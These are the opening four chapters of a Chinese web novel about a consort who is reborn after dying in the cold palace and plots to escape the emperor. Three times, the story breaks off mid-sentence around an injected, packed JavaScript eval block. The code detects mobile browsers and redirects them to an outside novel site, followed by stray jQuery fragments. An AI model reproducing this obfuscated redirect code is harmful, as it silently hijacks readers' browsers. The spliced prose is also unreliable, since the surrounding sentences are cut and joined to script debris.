《美人在逃（双重生）》 1. 重生 晋安十五年，冬至。 窗外大雪纷飞，有些许细雪从大裂着的窗缝飘进来，落在单薄的被褥上。宁絮浑身冰凉，被子裹得再紧也无济于事。 这是西六宫的一处偏殿，说是宫殿都抬举了它，实际只是一处能容纳十人不到的小房子。床安置在窗边，免不了风霜雪雨，这也是责罚的一部分。 一年前，她因顶撞贵妃，致使贵妃动了胎气，被发落至此。 冷宫缺衣少食，物资都是最下等的，被克扣亦是常态。宁絮早年喝了太多避子汤，又在战场上出生入死，留了一身的伤病，早已是外强中干。 没了先前优越的条件，她病来如山倒，不过一年，已是油尽灯枯。这两日食不下咽，极少有清醒的时候，眼看大限将至。 她身边陪了两个小宫女，分别叫作翠柳和晚云，是这宫中为数不多宁愿放弃丰厚的月钱，也要跟着她的。翠柳尽力用帕子堵着窗缝，晚云则探了探她的脉搏，末了眉头一皱，站起身来。 “我去找御医，今天说什么也要求他们来。” 翠柳压低嗓门，提醒她：“你忘了，贵妃娘娘的产期差不多就是今日。御医正在长乐宫严阵以待，怎会随你来？” 晚云气不过，正欲发作，一只冰冷的手轻轻扣住她腕子。 宁絮不知何时醒了，微笑着看她：“别走开，陪我说说话。” 虽然她缠绵病榻多时，嘴唇毫无血色，头发也枯黄了，但晚云每每对上她这张脸，还是会呼吸一窒，不由自主在心里描摹她的轮廓。 多年前艳绝江南的美人，病了老了，骨相尚在。但凡气色稍好一些，这宫中环肥燕瘦各色佳丽，找不出一个能与她平起平坐的。 晚云心里一酸。五年前各方势力割据，暗流汹涌，大仗小仗不断，她和翠柳都是被掳走的平民女子，供军队里的粗野汉子玩弄，成日苦不堪言。 直到有一晚，宁絮率一支小队围剿了营地。她指尖寒光一闪，刀片飞出去，男人的颈间绽开血花，倒在地上垂死挣扎。 即便知道她本意是地图，救她们只是顺手，那一刻在晚云心里，她依然如同天神。后来晚云还见过她很多套盛装华服的打扮，都不及那晚美艳不可方物。 她俩自小就被卖来卖去做丫鬟，获救了也无处可去，宁絮待要回京复命，便一同带上了她们。白天她俩才发觉，宁絮带的这一支队伍，竟然全是姑娘。 休憩时闲谈，晚云与翠柳方才知晓这群女子的来历。 包括宁絮在内，她们原来都是余杭一带的烟花女子，因着宁絮与七皇子有些因缘，得以带她们脱离了任人鱼肉的环境。下了一番苦功夫训练武艺，如今虽未必比得过皇室卫队，可也能做些实事。 宁絮与她们谈及往事，来龙去脉说得很模糊，大抵因为她们要做的事很关键，不便告知外人。晚云和翠柳也是懂事的，不多嘴，回京后默默当好侍女，回报救命之恩。 暑去寒来，几度春秋，七皇子石虔厚积薄发，绞杀了几个哥哥和叔叔，待先帝驾鹤西去，终于名正言顺登上王位，成为新帝石虔。 也就是在这时，晚云对宁絮所做的事才有了朦胧的概念。 她是在暗中为石虔织网的那个人，不动声色地套取情报，等着在关键时刻给敌人致命一击。 晚云和翠柳都没受过多少教育，门第观念是有一些，但宁絮在她们眼中强如神佛，因此没有什么配不上皇帝之说。 哪怕宁絮失了清白之身，做不了皇后，也能做个贵妃，再不就干脆不要入后宫，拜相封侯也是极好的。 然而她们料错了。石虔登基后一年，便封邓丞相的女儿为贵妃，后宫其他编制也一一填充，看这势头，只要邓贵妃诞下皇子，未来必定是皇后。 宁絮混在六宫之中，只是一个很不起眼的御女。 晚云二人仍旧是她的侍女，看着她明显地消沉下去。有一次她们小心翼翼地问到其他姐姐都去了哪里，宁絮只叹一口气：“她们留在宫外，嫁人了。” 嫁的什么人？不知道。宫墙阻隔了一切。唯有石虔到访，能让她开心些。 石虔常来，宠幸她的次数远比宠幸其他嫔妃多。头一回完事，趁宁絮陷入沉眠，他亲自唤晚云去煮汤，细细地数了一些材料，只道是补身子用。晚云一听，对这汤的功效怀疑起来。 这位新帝看似温和，与宁絮恩爱不疑，却并不愿让她怀上龙子。 皇上的命令不能不从，晚云照办，宁絮亦不疑有他，只当那是鲜鸡汤，一碗接一碗的喝。 后来，宁絮腹中毫无动静，邓贵妃顺理成章怀了第一胎，诞下公主。休养数月，又有喜了，这重要的节骨眼上，偏偏宁絮在花园里与她冲撞了。 当时的场面做作至极。晚云亲眼目睹邓贵妃扑过来，与宁絮贴了一下，随即坐倒在地，抱着尚未显怀的肚子哭天抢地。 明眼人看得到真相，偏心眼的人则不然。邓贵妃梨花带雨倾诉几句，石虔反手便定了宁絮的罪，打入冷宫只是一夕之间的事。 个中缘由，晚云无法细想，任何揣度都是对天子的大不敬。她至多回握宁絮的手，淌几滴不值钱的眼泪，想磕几个响头谢罪，还被宁絮搀住了。 宁絮近几日甚少睁眼，这会儿精神倒还不错。翠柳拂去褥子上的雪，扶她半坐起身。 晚云一张小脸已经哭花，她于心不忍，伸手抹去她的泪水，柔声道：“你没有错，不必自责。” 时至今日，要说恨和不甘，已经没有了，她实在没力气承受太过浓烈的感情。要说还有什么放不下的，就是面前这两个姑娘。 她喊晚云和翠柳围得近些，再教导她们一次：“你们未来一定会被打发到别人手下，因为跟过我，或多或少受人置喙。切记低调做人，熬过一段时间也就没事了。” “我教你们念过一些书，有空了要温习，别只顾着做女红。” “月钱发下来要存好。将来年纪大了，或有出宫之日，手上有一份积蓄，日子不至于太难过。” 晚云和翠柳狠命点头，又把她话重复一遍，表示已经牢记心间。宁絮便松了一口气，与她们拉了拉家常，说些无关紧要的小事。 半个时辰过去，她又困乏了，才再度睡下。 想来邓贵妃的第二个孩子快要出世了，不知是不是皇子。她若是这会儿断气，忌日与太子生辰撞在一起，石虔恐怕要直呼晦气，坟都不给她立。 念及至此她又自嘲地笑笑。后宫美人何其多，石虔平日又忙于国事，哪还能记得她，是她自作多情了。 曝尸荒野也好，沉湖沉井也罢，轮不着死人去在乎。她只求下辈子别再托生成人，当一片随风乱飘的柳絮也比现在这样好。 她陷入漫长的黑暗，不知过了多久，再度睁开眼，入目便是一片金纱帐。 这不是冷宫的摆设，倒像是……像是当年她尚未与石虔决裂时住的地方。 她先前常出任务，对周遭环境极为敏锐。察觉异样，顷刻间弹坐起身，顺手拔了发间簪子，尖头对外，随时准备防御。 一套动作行云流水，做完之后方才惊觉，自己又活蹦乱跳了。 她垂眼看向自己的手，确实是成年女子的手，还有些血色，不像病入膏肓时那种又苍白又枯黄的样子。 门外有响动，是晚云的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326030|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音：“娘娘，您起了吗？” 宁絮回神，令她进来。晚云端着一碗汤，轻声细语：“娘娘，今日的鸡汤，放了蘑菇和蜜枣。您先喝着，我替您梳头。” 晚云平素与她亲昵，放松忘我之际，直接管她喊姐姐也是有的，唯独每次端了汤，气势就弱了一截，甚至不敢抬头看她。 她看着晚云，心就软了。她十岁出头就混迹风月场，未曾及笄就坐上了头牌之位，对避子汤再熟悉不过。当日晚云端来第一碗汤，她舌尖一沾，心中便了然。 她很想安抚晚云，但眼下还有更紧要的事。 “晚云，今年是哪一年来着？”她状若不经意问道。 晚云只当她是睡蒙了，答道：“晋安十一年。娘娘，您可有不舒服？” 晋安十一年。邓筠就是这一年被封为贵妃的。 宁絮摆摆手：“没事，我好着呢。” “那就好，今日陛下册封贵妃，册封礼完了之后还有宴席，时辰长着呢。您要是身子不舒坦了，可得及时说——” 她话音刚落，宁絮就弯下腰，捂着小腹哀哀叫唤：“不行了，我这里突然好疼。” 晚云被她吓得梳子都丢了，赶紧喊翠柳进来，二人一同扶她上了床。安顿好她，又准备着人请御医。 宁絮眼珠子一转，连忙阻止：“这就不必了，想是癸水要来了，没什么大碍。但我实在痛得很，劳烦你们去禀报，我恐怕参加不了了。” 翠柳听话，急匆匆地走了，晚云去给她拧热帕子。 屋内重归寂静，宁絮把玩着帐子边上的流苏，若有所思。 冥冥之中不知是何力量，竟能让她重活一遭。就是这重生的时机卡得不尴不尬，要是能再早一些，她索性就不入这后宫，现在还不知道在哪逍遥快活。 不过好在这会儿还没轮到邓贵妃发难，她一身的本事也还没完全荒废。 石虔这个狼心狗肺的东西，她惹不起躲得起。这次绝对不要被困在宫墙之后，平白浪费光阴。 她得想个法子逃出去。 皇宫戒备森严，不能贸然行事，一旦被抓，就是冒天下之大不韪。她虽没有九族可供石虔诛杀，但自己的脑袋必然保不住。 最好能让石虔慢慢对她失了兴趣，再也想不起她这个人，然后再见机行事。但冷宫是去不得的，那地方与囚室无异，只会令身体迅速衰败，想逃也有心无力。 个中分寸，颇难拿捏。不过今晚她已经迈出第一步。 封妃典礼抱病不出席，是有些不敬，但也算不得大事。少露面，少在邓贵妃眼前晃悠，就不至于碰翻醋缸子惹祸上身。 既已封了贵妃，石虔接下来定会着重宠幸她，早日生出太子才是第一要务。 倘若突发奇想来找宁絮，她再装病，装来了癸水就是，反正她癸水经常乱来。多婉拒几次，石虔扫了兴，就懒得理她了。 思前想后，觉得此招可行，她心情放松下来，把被褥拍得松软一点，然后钻进去裹住全身，只露了一颗脑袋在外面，发出满足的喟叹。在冷宫冻了这么久，都快忘了冬天盖厚被子是一件多舒服的事。 身上一暖和就昏昏欲睡，她翻了个身，很快不省人事。 睡着睡着，突然感觉身上一重，脸颊边还有细微的热气。 她一个激灵陡然惊醒，天色早已暗淡，屋里只亮了一盏小灯。灯光下石虔的眼珠分外的黑，一眨不眨的对着她，犹如一口深井。 宁絮有点毛骨悚然，差点上手把他掀翻在地，想到他是皇帝，硬生生忍住了。 他的手轻轻覆在她小腹处：“听闻你今日腹痛，现在可好些了？” 2. “三娘” 宁絮刚睡醒，脑子从混沌到清明，即刻翻身下床，跪地行礼：“臣妾不知陛下前来，未曾好生招待，陛下恕罪。” 石虔此人，当了皇帝之后，心眼子一日比一日小。宁絮算是怕了他，不想接触但绝不能得罪，免得他挑眼拿错。 她这一跪，石虔反倒不乐意了，本来脸色还挺柔和，即刻又是一副似笑非笑的模样：“看来是没事了？” 宁絮心里早骂了他千八百遍，面上还是挤出微笑：“承蒙陛下关怀，好些了。” 石虔被她气乐了。 他们相伴十余年，他自认天下没有比自己更了解她的人。宁絮此人，名字听着温婉柔美，性子一等一的硬，跟柳絮半点不沾边。 她心里越是有气，表面越是十倍的恭敬，绝不会像其他女人那样勾着他脖子娇嗔哭泣。 石虔往日在她这没少吃瘪，有时也是气得牙痒，想收拾她。 但再看看其他嫔妃，千篇一律的温柔似水，脸上讨好的笑容都像是复刻出来的，就盼着把皇上哄好了，好给自己母族争取荣光。 人人在他这里皆有所图，唯有宁絮不图他什么，却反过来给他。那她使些小性子，他合该包容。 他脸色阴转晴，解了龙袍披在她身上，又将她抱上床，被子拉上来遮住双腿：“谁教你动不动就跪？地上又冷又硬，跪得多了，当心落下病根。岁数再大点，站都站不住。” 宁絮闻言，眉宇间止不住惊讶之色。一忍再忍，终于还是开口问了。 “今天日子特殊，陛下……不去陪着贵妃娘娘么？” 石虔哈哈一笑，拨弄她发梢：“特殊日子朕也一样挂念你，没必要为了邓贵妃倒醋缸吧？” 宁絮抑制住翻白眼的冲动，与他掰扯其中道理：“册封典礼办了，筵席也吃了，放在平民百姓家，不就是办完了婚宴，下一步就该入洞房了？这节骨眼上，新郎官跑了，依陛下看来，这像话吗？” 石虔搂她搂得更紧：“说的也是，该倒醋缸的人不是你。” 完了，这人今晚不知道吃错了什么药，说不通了。 石虔待要与她像往常那般行快乐事，她挣扎了一番，没让他扯开被子：“臣妾肚子还是胀痛，今夜恐不合适，陛下请回吧。” 后宫自有宫规，嫔妃身体不适，是不必行房的。虽然石虔大权在握，可以蔑视宫规，但除非实在是想得狠了，否则轻易走不到这一步。 毕竟皇帝也是要脸的，朝令夕改，说出去面子上不好看。 她推拒了，石虔倒也不强求，又给她拢好被子：“三娘身体怎的虚弱成这样？朕听晚云说，你也不肯召御医来瞧瞧？” 三娘。这个称呼真是久违了。宁絮听罢眼皮子一跳。 如果可以，她一辈子都不愿再听到这个名字。 多年前她家族遭受陷害，先帝一声令下，男子杀头女眷流放，她一路辗转，流落烟花之地，卖唱卖笑时的艺名便是宁三娘。 她抬头对石虔笑了一笑：“不劳小石头惦念。” 不出所料，石虔听此称谓，眼皮也跟着抽筋。 他俩刚认识的时候，石虔也不叫石虔，更不是什么七皇子。他每天跟着师父走街串巷，表演一些徒手碎砖、飞刀断发之类的小伎俩，以求众人打赏。 小石头是他的艺名。 宁絮所在的花楼名唤明月楼，开在繁华地带，往来客人络绎不绝。人一多，挣钱的机会就多，因此江湖艺人也爱在周边扎堆。 拜师父所赐，小石头练就了一身三脚猫功夫，跟镖师和侍卫对打差些火候，但搭个花架子唬人是没问题的。靠着几样炫目的花活，他成功逼退了几个在明月楼前撒泼的泼皮。 这伙泼皮原是冲宁絮来的，作为回报，宁絮自作主张请他进来呆了半个时辰，为他泡茶，又端了几样点心来。 “你们明月楼看门的真是废物，万一让贼人闯了进来，要你们一群弱女子如何自保？”上好的龙井也压不下小石头的不忿。 他说着说着竟还挽起袖子：“不若我教你两招，果真遇上危险，也好应付一下，争取搬救兵的时间。” 十来岁的小少年，声音脆生生的，直接在她面前比划起来。怕她看不清，还特意放慢动作，一招一式拆解给她看。 他不知道宁絮出身于武将家庭，这点小把戏落在她眼里，与稚童无异。 可她不拆穿，只拍手叫好，任由他手把手带着自己练习。 后来宁絮常邀他上门，检阅自己最近练习的成果。次数一多，鸨姐儿难免有意见，她一个花魁，是要服务贵客的，成天跟不三不四的卖艺人厮混，纯属自降身价。 于是小石头就改成爬窗了，天蒙蒙亮的时候，宁絮差不多完事，客人前脚刚走，他后脚就翻进来，落地悄无声息。 一开始宁絮还能把这事瞒住，后面被姐妹发觉了，笑她是不是没收钱就跟他办了事，便宜了这个臭小子。 她告诉她们，小石头在给自己表演杂耍，她们听罢哄堂大笑，没有一个人相信。 他再来，帮忙望风打掩护的姐妹就会笑他：“哟，又来给三娘演杂技？今儿演什么呢？” 他懵懂而正直地报了今日的打算：“跳丸。喏，我球都带来了。顺便教她如何快速把刀片藏进袖子里，她学会了，也好教你们。” 她出来为他解围，被她们打趣得更凶：“嗨呀，你俩真是有点意思，哈哈哈哈——” 宁絮思绪飘远，忽地下巴一痛，石虔两根手指掐过来，眼神晦暗不明：“现在又不叫陛下了？” 她忽然觉得没意思透了。也不知道是在回忆往昔，还是互捅刀子，抑或都有。总之没意思。 “臣妾绝无冒犯之意。陛下愿意是小石头，臣妾便喊小石头，陛下倘若厌倦这个叫法，臣妾便喊陛下。一切听凭陛下意愿。” 又来这套。恭恭敬敬，但每个字都带刺。石虔揉了揉太阳穴，心底生出一股疲惫，也不想跟她过不去， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326031|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只喊她快点歇下。 待她躺好，他亲自给她灭了灯，才悄没声走出去。 当年小石头潜入明月楼也是这样，走路没声音，像猫儿溜墙根。 宁絮目力极佳，在黑暗里也能辨出人的身形轮廓。她望着石虔的背影，无端感觉他今晚很不一样。 不完全是皇帝，也不完全是七皇子和小石头，混杂了一种她没接触过的气质。 但是……罢了，她终究是要走的人，石虔变成什么样，都与她无关了。有这胡思乱想的工夫，不如好好睡上一觉，养精蓄锐。 翌日清晨，宁絮刚醒，晚云就端了一个大托盘进来。 托盘上摆着若干小菜，一碗鸡丝粥，一碗冰糖炖燕窝，一碟鸽子蛋。按她这个级别的嫔妃，决计吃不上这等丰盛的餐食。 晚云看出她的疑惑，笑道：“是御膳房的人亲自送来的，我问了一嘴，他们说是陛下交代专门做给您的，让您补身子。” 宁絮把鸽子蛋倒进鸡丝粥里，筷子把蛋戳成两半，好沾上些许粥的味道。这两样她还比较喜欢，至于炖燕窝，有点太甜了，吃了觉得腻。 她吃完后，突然觉得不对，仔细一琢磨，回过味来：今早没有送避子汤过来，这些汤汤水水里也没有放避子汤应有的药材。 不过也不奇怪，石虔昨夜并没有真的动她。她也是习惯把避子汤当水喝了，一天不喝反倒觉得缺了什么。 这事落在晚云眼里，却有另一种意思。 陛下夜里来过，要做什么不言自明。往常做完这码事，都会有人送红花、紫草、麝香、白芍等材料过来，今日却免了这道流程。莫不是陛下回心转意，也想与宁絮有个孩子了？ 若真是这样，绝对是喜事一桩。晚云肉眼可见的快乐起来，说话语气都昂扬了：“娘娘，你想过什么时候要个孩子吗？我之前也给人带过孩子，我有经验！” 宁絮有点哭笑不得，这孩子的思维未免过于跳脱。她摇头道：“这事我说了不算，可把你的小心思收一收，想要孩子自己生去。” “我连婚配的事儿都没影，您跟我说什么生孩子。”晚云撇嘴道，“我也没想过这种事，我就陪在娘娘身边。” 但她又不甘心似的，蹭到宁絮身边试探：“陛下来了，不论如何，您心情总是比平日舒畅的吧。” 宁絮越看她越觉得她像个担忧爹娘感情好不好的小女儿。她怜爱地摸摸晚云的头发，慢吞吞道：“陛下纡尊降贵来了，我总不能苦着脸，这像什么话。” 不等晚云回应，她抢先截住话头：“好了，你快拿梳子来，我等下还要去长乐宫。” 昨日错过了封妃仪式，今天必须得去拜见邓贵妃，以显示自己不是有意针对。 衣服也特意挑了素色的，宽大蓬松，不显身材。头上不戴任何显眼的首饰，只在发间别了一根碧玉簪，玉的颜色很深，打眼根本注意不到。 在她动身逃离之前，绝不要节外生枝，开罪任何人。 3. 刁难 邓贵妃虽住在长乐宫，到底还不是皇后，摆不得六宫之主的架子。 她周边环绕着几个小妃子，都是跟宁絮平级的。她也不要求她们请安，只叫人把花园里的石桌收拾出来，摆上茶点，美其名曰约妹妹们小聚。 此次邀来的嫔妃们都对她有着明显的讨好意图，姐姐长姐姐短，掐着嗓子阿谀奉承。 宁絮以为自己到得够早了，比约定的时间早了快一炷香的工夫，没想到她来的时候，椅子都坐满了人，一时竟挪不出空位子。 邓贵妃似乎也不太把此事放在心上，喊人去搬新椅子，声音懒洋洋的，毫无催促之意。 宁絮并不介意她慢待自己，死过一次的人，这些雕虫小技很难入眼。她看邓贵妃，觉得很幼稚。 “听闻宁姐姐昨晚身子不适，今日可好些了？” 邓贵妃尚未出言刁难，自有底下人帮她开口。是个十六七岁的姑娘，忘了是哪位文臣的女儿，总之官阶不高，否则不至于靠巴结邓贵妃立足。 贵妃在场，这声姐姐，宁絮担待不起，尽管论年岁她的确是最大的。她清了清嗓子，没来得及应答，邓贵妃本人竟也加入进来。 “我听说宁姐姐宁可忍着疼痛，也不肯麻烦御医。这样不好，万一有什么隐疾，没能及时查出来，后患无穷。” 宁絮额角青筋直跳，耐着性子道：“多谢娘娘关心，臣妾已无大碍。” 另一个年纪尚小的妃子，拿折扇遮着下半张脸，大惊小怪道：“宁姐姐莫不是来了癸水？” 宫中嫔妃的确有几位来癸水时疼得死去活来，但没人会拿这个作为理由推拒典礼和筵席。这要是承认了，就落了对陛下和贵妃不敬的口实。 虽然宁絮打定主意要走，本来也不打算给自己塑造一个多么光辉的形象，但让人抓了小辫子，众人的眼光都聚集过来，她做事就不方便。 她脸上挂着浅浅的笑容，不紧不慢道：“这倒没有，主要是胃不大舒服，白天吐了几次。老毛病了，总让御医跑腿也是浪费时间。此次缺席，还望娘娘谅解。” 这话不假，早年出去给石虔刺探情报，有一次暴露了，她被人一脚踹在胃部，当即口吐鲜血动弹不得。若非援军及时到来，她这条小命早就交代了。这一遭过去，也就留了个不大不小的病根。 邓贵妃不知内情，陛下从未与她细细地讲过这些事。她一听宁絮吐了，立刻如临大敌，目光若有若无投射在宁絮的小腹上。 其他嫔妃也跟着变了脸。倘若是宁絮第一个有了……这可不是小事。 宁絮只恨话语覆水难收，早知道不多嘴。她无奈道：“真的是胃的毛病。我要是能怀，早就怀上了。” 邓贵妃听罢，眉头略微舒展了些，但眼神中还透漏着些许怀疑。 话说到这份上，宁絮也没辙，她总不能当场给自己肚子上拉一刀，让贵妃娘娘看里面到底有没有孩子。 最先开口的那个妃子，眼神一直不曾离开宁絮的腰腹，听罢暧昧地一笑。 “不打紧，赶明儿好生调理一番，宁姐姐身子调好了，总能有的。” 忽而话锋一转：“不过，即便是有了，是谁的，还尚未可知。” 其他人听了这话，纷纷笑作一团，邓贵妃虽然训斥她不得无礼，眼角眉梢也尽是笑意，压抑不住。 宁絮抿着嘴，没有跟着笑，不然未免太自轻自贱。但也不生气，气这些年轻的姑娘，是一件很没必要的事，她们敢这样，无非是石虔在背后纵着。 她们对她的功绩或许一知半解，也或许一无所知，但却知道她卖笑的过往。 好事不出门，坏事传千里，但若是皇帝不允许，谁敢传？ 上辈子她也曾在花园里被人出言奚落过，那时她心性还未被磨平，气得浑身发抖，转头就去找石虔要说法。 她的确不是良家淑女，在明月楼数年，服侍过若干个男人。可这也是情势所逼，又不是她自甘堕落。 后来为了套取机密和情报，在各个势力之间周旋，也少不得同三教九流的男人打交道，于女子名声自然没有好处。 但她敢拍着胸脯讲，石虔能坐上皇位，她付出的比后宫任何一位嫔妃都多。哪怕与朝中重臣相比，她的功绩亦不落下风。 到头来别人论功行赏，她却要被一个小丫头片子出言讥讽，怎能咽得下这口气。 然而石虔只敷衍地安慰她几句，并未对那个妃子做出任何处罚。当时宁絮还在心里替他开脱，想他也许是批阅奏折太累，无心考虑这么多。 直至石虔快刀斩乱麻，为了莫须有的罪名将她打入冷宫，她才如梦初醒。 她找石虔主持公道，分明是犯了大忌。越是执着于讨要说法，越是等于把欠条拍在他脸上，告诉他这是你欠我的。 但，皇帝天然的不欠任何人，真要欠，也是天下人欠皇帝的，当牛做马也还不清。 她去闹，就是以下犯上，罚得再重也不为过。 皇威不可测，宁絮吃过教训，下定决心装小绵羊装到底了。 她们笑着笑着突然僵住，嘴角还是上扬的，眼里却骤然流露出惊恐。宁絮背对着门口，还没来得及转头看情况，肩膀上就压了一只手。 石虔的声音自身后响起，带着隐隐的怒意：“方才你说了什么？再重复一遍。” 那个管不住嘴的小妃子已经吓瘫了，从椅子上滑下去，跪地磕头求饶。 给皇上编造绿帽，背地里说说已经相当过分，被本尊当场抓住，更是没有好果子吃。摊上个脾气暴一点的君主，直接被拉走沉井也不奇怪。 邓贵妃也是脸色煞白。长乐宫是她在管，高低给扣一个管理不力的帽子。 石虔待要发作，一只素白的手覆在他手背上。宁絮声音柔柔的：“陛下，您按得臣妾肩膀好疼。” 石虔有一种痒处被挠了个正着的感觉，手上力道不自觉地卸了。宁絮立马从他手下钻出来，跪下行礼。 她这个大礼把石虔噎得不轻，表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326032|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也一下失了威严，这怒火发也不是，不发也不是。末了放出话去，说日后追责，而后令宁絮起身，同他一道回去。 宁絮乖乖与他上了小轿，忐忑道：“回哪里去？” 石虔忍不住上手揉她脑袋：“翠微阁啊，你住的地方，不然还能回哪去？” 宁絮愕然，这本来不该是他日常的安排，哪有大白天就往嫔妃寝宫跑的。方才出现在长乐宫，也是一件很不同寻常的事。 不过话说回来，皇帝想去哪里，谁也约束不住。只要不是原则问题，只好由着他去。 宁絮安安分分地坐着，什么也不问。倒是石虔主动问她：“你就在那里随便她们欺侮你？” “恕臣妾直言，论年龄，她们与臣妾相比，都还是小姑娘。争强好胜，嘴不饶人，也正常，没什么好计较。不过侮辱了陛下，这肯定不对，相信贵妃娘娘会责罚她的，这点小事，臣妾以为不劳陛下操心了。” 石虔眉毛一挑：“你倒还反过来替她求情？今天不计较她们嚼舌根，明天她们就敢想法子害你，后天更不知道要坑你到什么地步去。” 他打量着宁絮，稀奇道：“你先前可不是忍气吞声的性子。当年带着明月楼那帮姑娘训练的时候，你是怎么下命令怎么吼人的，朕都还记得。怎么近来就跟变了个人似的？” 宁絮将心中的惊涛骇浪压下，不动声色道：“大概是臣妾年纪上来了，心境平和了。” 小轿停在翠微阁门前，石虔先下去，又对宁絮伸出手，亲自扶着她下地。宁絮受宠若惊到了不安的地步，总觉得石虔的皮囊里换了个魂。 皇上驾到，宫人们纷纷屈身行礼。石虔对他们视若无睹，视察了一圈周遭摆设，眼光最终定格在宁絮身上：“这也太素了些。” “臣妾不知陛下今日光临，未曾提前布置，还请陛下包涵。” 她立刻又要屈膝，被石虔拎小猫一样拎起来，抱在臂弯里，一路往卧房去了。 宁絮有一瞬是惶恐的，以为石虔突然兽性大发，要来强的。 在他还是七皇子的时候，忙着扳倒虎视眈眈的兄弟和叔伯，每天把头提在手上做事。宁絮除了完成自己应有的任务，还有一份额外的活儿，就是帮他纾解压力。 他们从十六岁开始便经历过鱼水之欢，但那段时期对宁絮而言谈不上甜蜜。石虔被焦虑击溃，整个人不甚清醒，幻觉她是那些虚情假意的笑面虎，凶狠之至，常常让她落得一身伤，事后恢复理智，又心疼得恨不得自打嘴巴。 宁絮以为他又想起什么，犯了疯病，要对她故技重施了。然而这次没有，他轻轻将她放下，拢着她：“三娘，以后受了欺负，要跟朕说。想要什么，也记得对朕提出来。” 宁絮下巴搁在他肩上，这样既亲密无间，又不让他看到自己的眼睛。 “陛下此话当真？” “天子一诺，重如泰山？何况朕几时放过你鸽子？” 她斟酌片刻，开口道：“臣妾确有一事相求。” 4. 出宫 宁絮提出，要重回江都，亲自将父兄的遗骨带回京城，堂堂正正立一处墓地。以她身份，虽不能每年清明都去祭拜，但想到父兄离自己不远，多少有个安慰。 这个请求远在石虔意料之外，因她多年未曾提及，他几乎完全忘了她父兄的境况。 说起来，宁絮落得个家破人亡的下场，根由还在他的生父，是先帝有眼无珠，错信奸臣，平白冤了宁家。 如今先帝故去数年，旧朝之事指望新帝平反总不太现实。宁絮一贯是个知冷知热的，不会为难他，只提出重新安葬，这个要求怎么看都不算过分。 只是后妃出宫，去的还是那样遥远的地方，与宫规相悖。石虔与她商量道：“山高水远的，亲自去太麻烦。朕派人前去办理，保证将他们完完整整地带回来，再选个风水最好的地方厚葬，你看如何？” 不料宁絮听了，双膝一弯，直挺挺地跪在他面前，眼中霎时盈满泪水。 “陛下有所不知，当年臣妾趁夜色掩护，偷偷割下父兄的头发，另寻他处安葬。葬身之处极为隐秘，恐描述不清。何况宁家已无其他后人，臣妾是唯一的血脉，这等大事假于人手，实在不孝！父亲和哥哥当年对臣妾极为疼爱，怕是在九泉之下也要心寒。” 说着她就要弯腰，准备给石虔嗑几个响头。 石虔心中大震。自打认识她那天起，她就是冷静自持的，谈及往事也是轻描淡写，惆怅之色转瞬即逝。 若非她今日情绪崩溃，涕泗横流，他还不知道她心里如此在意这件事。 宁絮一激动，眼周染上一圈淡粉色，泪珠挂在纤长的眼睫上，整个人六神无主，看着可怜得很。石虔久未见她这副模样，又觉得新鲜，又觉得心软，一时间星星月亮也想摘给她。 他搀住宁絮，抱娃娃似的抱她起来，轻轻拍着她的背：“不哭，朕答应你，亲自去就亲自去！朕陪你一块儿去，正好见见岳父和大舅哥，好让他们放心。” 宁絮小心地抹去眼泪，将信将疑：“您……腾得出空？” 石虔很受用，搂着她亲了一口，把挂在她脸颊上的泪珠亲走了，伸出两根手指发誓自己会陪她。 宁絮破涕为笑，手指在底下绞紧，把衣服下摆攥成一团。 他跟在身边，倒也没有大碍。凡事不能一蹴而就，只要有机会出宫，她就有希望。 把宁絮这个犟女人哄好了，石虔颇有成就感，哼着小调离开翠微阁，又往长乐宫去了。他如今贵为天子，想撂挑子也不是那么容易的，一堆事情等着他部署安排。 邓贵妃还是白着一张脸，见了他就像耗子见了猫儿，平日的娇嗔全不见踪影，巴不得贴着墙根走。 她是邓丞相的嫡女，千娇百宠长大的，爱使小性子，没经过什么风浪，胆子也小。石虔此前不曾对她冷脸，她就尽情撒娇，见过石虔发火，便有点拿捏不住这个度了。 她毕竟是未来的皇后，昨夜封了贵妃但没有与她过夜，于情于理都是亏欠了她。邓丞相又是重臣，他称帝的路上少不了邓丞相相助，不好太得罪了邓家。 因此石虔软化了态度，不再计较她管理失当一事，只笑着提醒她，那些位份低年纪小的妃子，肚里坏水不见得少，喊她别被拖下水，否则有失颜面。 邓贵妃听罢，心中大石头总算放下，又活泼起来，委屈地问陛下昨晚去哪儿了。 “陇西有加急战报，昨晚临时召人商谈粮草事宜。”他随口胡诌一个理由，反正邓贵妃对这些一窍不通。 